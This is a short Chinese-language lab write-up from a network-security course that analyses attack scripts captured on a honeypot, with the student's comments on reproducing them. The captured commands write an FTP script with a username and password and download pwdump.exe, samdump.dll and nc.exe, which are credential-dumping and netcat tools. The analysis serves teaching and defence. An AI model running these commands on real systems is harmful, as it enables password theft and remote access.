蜜罐网络攻击分析实验（网安实验7）

来自200.1.x.y（假设的IP）的攻击者成功攻陷了一台部署有蜜罐系统的主机200.1.p.q（假设的IP），蜜罐主机记录了入侵过程，入侵数据经提取并经简化处理后的脚本代码如下所示。其中，www.unknown.net是假设的域名。

现在看看所示的一些捕获到的脚本，

           echo werd >> c:\fun

/* 发现不能在c盘中生成一个文件，但是如果切换成d盘就可以

在本机上进行c盘操作也是失败的：

 

在本机的C盘重定向被拒绝访问了。*/

           echo user johna2k > ftpcom

           echo hacker2000 >> ftpcom

           echo get samdump.dll >> ftpcom

           echo get pwdump.exe >> ftpcom

           echo get nc.exe>>ftpcom

           echo quit>>ftpcom

           ftp –s:ftpcom -n